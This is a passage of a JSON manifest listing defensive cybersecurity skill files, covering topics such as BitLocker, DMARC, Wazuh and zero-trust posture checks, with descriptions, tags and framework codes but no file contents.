privileged credential management, replacing spreadsheet-based secrets, automating password rotation, or meeting PAM compliance (SOX, PCI-DSS, HIPAA, NIST 800-53).\n","domain":"cybersecurity","subdomain":"identity-access-management","tags":["PAM","Delinea","Secret-Server","privileged-access","password-vault","credential-management"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-02","PR.AA-05","PR.AA-06"],"mitre_attack":["T1078","T1110","T1556","T1098","T1003"],"mitre_f3":{"version":"1.1","tactics":["reconnaissance","initial-access","positioning"],"techniques":[{"id":"T1555.005","name":"Credentials from Password Stores: Password Managers","tactic":"reconnaissance","source":"attack"},{"id":"T1110","name":"Brute Force","tactic":"initial-access","source":"attack"},{"id":"F1006","name":"Account Takeover","tactic":"initial-access","source":"f3"},{"id":"F1006.002","name":"Account Takeover: Exposed Login Credential","tactic":"initial-access","source":"f3"},{"id":"F1005","name":"Account Manipulation","tactic":"positioning","source":"f3"}]}},"isInternal":false,"tokens":4032,"sizeBytes":17108},{"name":"template.md","path":"skills/implementing-device-posture-assessment-in-zero-trust/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-device-posture-assessment-in-zero-trust/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-device-posture-assessment-in-zero-trust%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":1154,"sizeBytes":4413},{"name":"api-reference.md","path":"skills/implementing-device-posture-assessment-in-zero-trust/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-device-posture-assessment-in-zero-trust/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-device-posture-assessment-in-zero-trust%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":411,"sizeBytes":1528},{"name":"standards.md","path":"skills/implementing-device-posture-assessment-in-zero-trust/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-device-posture-assessment-in-zero-trust/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-device-posture-assessment-in-zero-trust%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":539,"sizeBytes":2232},{"name":"workflows.md","path":"skills/implementing-device-posture-assessment-in-zero-trust/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-device-posture-assessment-in-zero-trust/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-device-posture-assessment-in-zero-trust%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":774,"sizeBytes":3307},{"name":"SKILL.md","path":"skills/implementing-device-posture-assessment-in-zero-trust/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-device-posture-assessment-in-zero-trust/SKILL.md","title":"implementing-device-posture-assessment-in-zero-trust","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-device-posture-assessment-in-zero-trust%2FSKILL.md -->","frontmatter":{"name":"implementing-device-posture-assessment-in-zero-trust","description":"Implements device posture assessment as a zero trust access control by integrating endpoint health signals from CrowdStrike ZTA, Microsoft Intune, and Jamf into conditional access policies that enforce compliance before granting access. Use when requiring device health checks before app access, wiring posture signals into conditional access, or implementing the CISA Zero Trust device pillar.\n","domain":"cybersecurity","subdomain":"zero-trust-architecture","tags":["device-posture","zero-trust","endpoint-compliance","crowdstrike-zta","intune","conditional-access","jamf"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-05","PR.IR-01","GV.PO-01"],"mitre_attack":["T1078","T1190","T1059"]},"isInternal":false,"tokens":3963,"sizeBytes":16425},{"name":"api-reference.md","path":"skills/implementing-devsecops-security-scanning/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-devsecops-security-scanning/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-devsecops-security-scanning%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":530,"sizeBytes":2039},{"name":"SKILL.md","path":"skills/implementing-devsecops-security-scanning/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-devsecops-security-scanning/SKILL.md","title":"implementing-devsecops-security-scanning","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-devsecops-security-scanning%2FSKILL.md -->","frontmatter":{"name":"implementing-devsecops-security-scanning","description":"Integrates SAST, DAST, and SCA into CI/CD pipelines using Semgrep for SAST, Trivy for SCA and container scanning, OWASP ZAP for DAST, and Gitleaks for secrets detection. Use when setting up automated security scanning in CI/CD, shifting security left, meeting compliance mandates (SOC 2, PCI-DSS, ISO 27001), or gating deployments on critical vulnerabilities.\n","domain":"cybersecurity","subdomain":"application-security","tags":["devsecops","SAST","DAST","SCA","semgrep","trivy","owasp-zap","gitleaks","CI-CD","shift-left"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.PS-04","ID.RA-01","PR.DS-10"],"mitre_attack":["T1078","T1190","T1059","T1610","T1611"]},"isInternal":false,"tokens":3070,"sizeBytes":12267},{"name":"template.md","path":"skills/implementing-diamond-model-analysis/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-diamond-model-analysis/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-diamond-model-analysis%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":255,"sizeBytes":996},{"name":"api-reference.md","path":"skills/implementing-diamond-model-analysis/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-diamond-model-analysis/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-diamond-model-analysis%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":412,"sizeBytes":1715},{"name":"standards.md","path":"skills/implementing-diamond-model-analysis/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-diamond-model-analysis/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-diamond-model-analysis%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":303,"sizeBytes":1156},{"name":"workflows.md","path":"skills/implementing-diamond-model-analysis/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-diamond-model-analysis/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-diamond-model-analysis%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":283,"sizeBytes":1401},{"name":"SKILL.md","path":"skills/implementing-diamond-model-analysis/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-diamond-model-analysis/SKILL.md","title":"implementing-diamond-model-analysis","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-diamond-model-analysis%2FSKILL.md -->","frontmatter":{"name":"implementing-diamond-model-analysis","description":"The Diamond Model of Intrusion Analysis provides a structured framework for analyzing cyber intrusions by examining four core features - Adversary, Capability, Infrastructure, and Victim. This skill covers implementing the Diamond Model programmatically to classify and correlate intrusion events, build activity threads, and generate pivot-ready intelligence.","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["threat-intelligence","cti","ioc","mitre-attack","stix","diamond-model","intrusion-analysis"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1591","T1592","T1593","T1589","T0816"]},"isInternal":false,"tokens":1469,"sizeBytes":6580},{"name":"template.md","path":"skills/implementing-digital-signatures-with-ed25519/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-digital-signatures-with-ed25519/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-digital-signatures-with-ed25519%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":221,"sizeBytes":890},{"name":"api-reference.md","path":"skills/implementing-digital-signatures-with-ed25519/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-digital-signatures-with-ed25519/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-digital-signatures-with-ed25519%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":434,"sizeBytes":1712},{"name":"standards.md","path":"skills/implementing-digital-signatures-with-ed25519/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-digital-signatures-with-ed25519/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-digital-signatures-with-ed25519%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":352,"sizeBytes":1314},{"name":"workflows.md","path":"skills/implementing-digital-signatures-with-ed25519/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-digital-signatures-with-ed25519/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-digital-signatures-with-ed25519%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":338,"sizeBytes":1343},{"name":"SKILL.md","path":"skills/implementing-digital-signatures-with-ed25519/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-digital-signatures-with-ed25519/SKILL.md","title":"implementing-digital-signatures-with-ed25519","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-digital-signatures-with-ed25519%2FSKILL.md -->","frontmatter":{"name":"implementing-digital-signatures-with-ed25519","description":"Implements digital signatures using the Ed25519 algorithm (Curve25519), covering key-pair generation, signing, signature verification, and security tradeoffs versus RSA and ECDSA. Use when adding message or artifact signing and authentication-integrity checks to a system, or when advising on Ed25519 key properties and validation criteria.","domain":"cybersecurity","subdomain":"cryptography","tags":["cryptography","digital-signatures","ed25519","authentication","integrity"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.DS-01","PR.DS-02","PR.DS-10"],"mitre_attack":["T1600","T1573","T1553"]},"isInternal":false,"tokens":799,"sizeBytes":3500},{"name":"template.md","path":"skills/implementing-disk-encryption-with-bitlocker/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-disk-encryption-with-bitlocker/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-disk-encryption-with-bitlocker%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":336,"sizeBytes":1256},{"name":"api-reference.md","path":"skills/implementing-disk-encryption-with-bitlocker/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-disk-encryption-with-bitlocker/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-disk-encryption-with-bitlocker%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":434,"sizeBytes":1676},{"name":"standards.md","path":"skills/implementing-disk-encryption-with-bitlocker/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-disk-encryption-with-bitlocker/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-disk-encryption-with-bitlocker%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":430,"sizeBytes":1814},{"name":"workflows.md","path":"skills/implementing-disk-encryption-with-bitlocker/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-disk-encryption-with-bitlocker/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-disk-encryption-with-bitlocker%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":494,"sizeBytes":1966},{"name":"SKILL.md","path":"skills/implementing-disk-encryption-with-bitlocker/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-disk-encryption-with-bitlocker/SKILL.md","title":"implementing-disk-encryption-with-bitlocker","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-disk-encryption-with-bitlocker%2FSKILL.md -->","frontmatter":{"name":"implementing-disk-encryption-with-bitlocker","description":"Implements full disk encryption using Microsoft BitLocker on Windows endpoints to protect data at rest from unauthorized access in case of device loss or theft. Use when deploying encryption for compliance requirements, securing mobile workstations, or implementing data protection controls across the enterprise. Activates for requests involving BitLocker encryption, disk encryption, TPM configuration, or data-at-rest protection.\n","domain":"cybersecurity","subdomain":"endpoint-security","tags":["endpoint","encryption","BitLocker","TPM","data-protection","windows-security"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.PS-02","DE.CM-01","PR.IR-01"],"mitre_attack":["T1055","T1547","T1059","T1036","T1573"]},"isInternal":false,"tokens":2121,"sizeBytes":8868},{"name":"template.md","path":"skills/implementing-dmarc-dkim-spf-email-security/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-dmarc-dkim-spf-email-security/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-dmarc-dkim-spf-email-security%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":746,"sizeBytes":2595},{"name":"api-reference.md","path":"skills/implementing-dmarc-dkim-spf-email-security/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-dmarc-dkim-spf-email-security/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-dmarc-dkim-spf-email-security%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":437,"sizeBytes":1412},{"name":"standards.md","path":"skills/implementing-dmarc-dkim-spf-email-security/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-dmarc-dkim-spf-email-security/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-dmarc-dkim-spf-email-security%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":853,"sizeBytes":2930},{"name":"workflows.md","path":"skills/implementing-dmarc-dkim-spf-email-security/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-dmarc-dkim-spf-email-security/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-dmarc-dkim-spf-email-security%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":915,"sizeBytes":3205},{"name":"SKILL.md","path":"skills/implementing-dmarc-dkim-spf-email-security/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-dmarc-dkim-spf-email-security/SKILL.md","title":"implementing-dmarc-dkim-spf-email-security","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-dmarc-dkim-spf-email-security%2FSKILL.md -->","frontmatter":{"name":"implementing-dmarc-dkim-spf-email-security","description":"Configures SPF, DKIM, and DMARC DNS TXT records to authenticate outbound email, prevent domain spoofing, and enforce a rejection/quarantine policy on unauthenticated mail, including auditing a domain's current DNS state. Use when hardening a domain's email security posture or defending against phishing and spoofing attacks.","domain":"cybersecurity","subdomain":"phishing-defense","tags":["phishing","email-security","social-engineering","dmarc","awareness","dkim","spf","dns"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AT-01","DE.CM-09","RS.CO-02","DE.AE-02"],"mitre_attack":["T1566","T1598","T1534","T1036"]},"isInternal":false,"tokens":1166,"sizeBytes":4574},{"name":"api-reference.md","path":"skills/implementing-dragos-platform-for-ot-monitoring/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-dragos-platform-for-ot-monitoring/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-dragos-platform-for-ot-monitoring%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":416,"sizeBytes":1585},{"name":"SKILL.md","path":"skills/implementing-dragos-platform-for-ot-monitoring/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-dragos-platform-for-ot-monitoring/SKILL.md","title":"implementing-dragos-platform-for-ot-monitoring","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-dragos-platform-for-ot-monitoring%2FSKILL.md -->","frontmatter":{"name":"implementing-dragos-platform-for-ot-monitoring","description":"Deploys and configures Dragos Platform sensors and detection analytics for OT/ICS network monitoring, using industrial protocol parsers and threat-intel packs to detect groups like VOLTZITE, CHERNOVITE, and KAMACITE. Use when standing up OT-specific network detection and response or an OT SOC, or integrating OT monitoring into an enterprise SIEM; not for IT-only or Claroty/Nozomi environments.","domain":"cybersecurity","subdomain":"ot-ics-security","tags":["ot-security","ics","dragos","threat-detection","ot-monitoring","scada","threat-intelligence","ndr"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4"],"atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"nist_csf":["PR.IR-01","DE.CM-01","ID.AM-05","GV.OC-02"],"mitre_attack":["T1078","T1190","T1059","T0816","T0836"]},"isInternal":false,"tokens":3225,"sizeBytes":13878},{"name":"api-reference.md","path":"skills/implementing-ebpf-security-monitoring/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-ebpf-security-monitoring/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ebpf-security-monitoring%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1529,"sizeBytes":5489},{"name":"SKILL.md","path":"skills/implementing-ebpf-security-monitoring/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-ebpf-security-monitoring/SKILL.md","title":"implementing-ebpf-security-monitoring","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ebpf-security-monitoring%2FSKILL.md -->","frontmatter":{"name":"implementing-ebpf-security-monitoring","description":"Implements eBPF-based security monitoring using Cilium Tetragon for real-time process execution tracking, network connection observability, file access auditing, and runtime enforcement. Covers TracingPolicy CRD authoring with kprobe/tracepoint hooks, in-kernel filtering via matchArgs/matchBinaries selectors, JSON event export, and integration with SIEM pipelines. Use when building kernel-level runtime security observability for Linux hosts or Kubernetes clusters.\n","domain":"cybersecurity","subdomain":"security-operations","tags":["ebpf","tetragon","cilium","runtime-security","observability","kernel-security","kubernetes-security"],"version":"1.0","author":"mukul975","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4"],"atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"nist_csf":["DE.CM-01","RS.MA-01","GV.OV-01","DE.AE-02"],"mitre_attack":["T1078","T1190","T1059","T1685.002","T1685.005"]},"isInternal":false,"tokens":2453,"sizeBytes":9455},{"name":"template.md","path":"skills/implementing-email-sandboxing-with-proofpoint/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-email-sandboxing-with-proofpoint/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-email-sandboxing-with-proofpoint%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":356,"sizeBytes":1228},{"name":"api-reference.md","path":"skills/implementing-email-sandboxing-with-proofpoint/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-email-sandboxing-with-proofpoint/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-email-sandboxing-with-proofpoint%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":401,"sizeBytes":1515},{"name":"standards.md","path":"skills/implementing-email-sandboxing-with-proofpoint/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-email-sandboxing-with-proofpoint/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-email-sandboxing-with-proofpoint%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":442,"sizeBytes":1442},{"name":"workflows.md","path":"skills/implementing-email-sandboxing-with-proofpoint/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-email-sandboxing-with-proofpoint/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-email-sandboxing-with-proofpoint%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":475,"sizeBytes":1776},{"name":"SKILL.md","path":"skills/implementing-email-sandboxing-with-proofpoint/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-email-sandboxing-with-proofpoint/SKILL.md","title":"implementing-email-sandboxing-with-proofpoint","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-email-sandboxing-with-proofpoint%2FSKILL.md -->","frontmatter":{"name":"implementing-email-sandboxing-with-proofpoint","description":"Email sandboxing detonates suspicious attachments and URLs in isolated environments to detect zero-day malware and evasive phishing payloads. Proofpoint Targeted Attack Protection (TAP) is an industry","domain":"cybersecurity","subdomain":"phishing-defense","tags":["phishing","email-security","social-engineering","dmarc","awareness","sandboxing","proofpoint"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AT-01","DE.CM-09","RS.CO-02","DE.AE-02"],"mitre_attack":["T1566","T1598","T1534","T1036","T1027"]},"isInternal":false,"tokens":974,"sizeBytes":4272},{"name":"template.md","path":"skills/implementing-end-to-end-encryption-for-messaging/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-end-to-end-encryption-for-messaging/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-end-to-end-encryption-for-messaging%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":340,"sizeBytes":1468},{"name":"api-reference.md","path":"skills/implementing-end-to-end-encryption-for-messaging/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-end-to-end-encryption-for-messaging/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-end-to-end-encryption-for-messaging%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":473,"sizeBytes":1890},{"name":"standards.md","path":"skills/implementing-end-to-end-encryption-for-messaging/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-end-to-end-encryption-for-messaging/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-end-to-end-encryption-for-messaging%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":380,"sizeBytes":1467},{"name":"workflows.md","path":"skills/implementing-end-to-end-encryption-for-messaging/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-end-to-end-encryption-for-messaging/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-end-to-end-encryption-for-messaging%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":639,"sizeBytes":3034},{"name":"SKILL.md","path":"skills/implementing-end-to-end-encryption-for-messaging/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-end-to-end-encryption-for-messaging/SKILL.md","title":"implementing-end-to-end-encryption-for-messaging","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-end-to-end-encryption-for-messaging%2FSKILL.md -->","frontmatter":{"name":"implementing-end-to-end-encryption-for-messaging","description":"Implements a simplified Signal Protocol-style end-to-end encryption scheme for messaging, covering key exchange, forward secrecy, and the core cryptographic components so no server or intermediary can decrypt messages. Use when designing or building E2EE messaging, or evaluating forward-secrecy and key-management tradeoffs for a messaging system.","domain":"cybersecurity","subdomain":"cryptography","tags":["cryptography","encryption","e2e","messaging","signal-protocol"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.DS-01","PR.DS-02","PR.DS-10"],"mitre_attack":["T1600","T1573","T1553","T1486"]},"isInternal":false,"tokens":724,"sizeBytes":3369},{"name":"api-reference.md","path":"skills/implementing-endpoint-detection-with-wazuh/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/implementing-endpoint-detection-with-wazuh/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-endpoint-detection-with-wazuh%2Freferences%2Fapi-reference.md 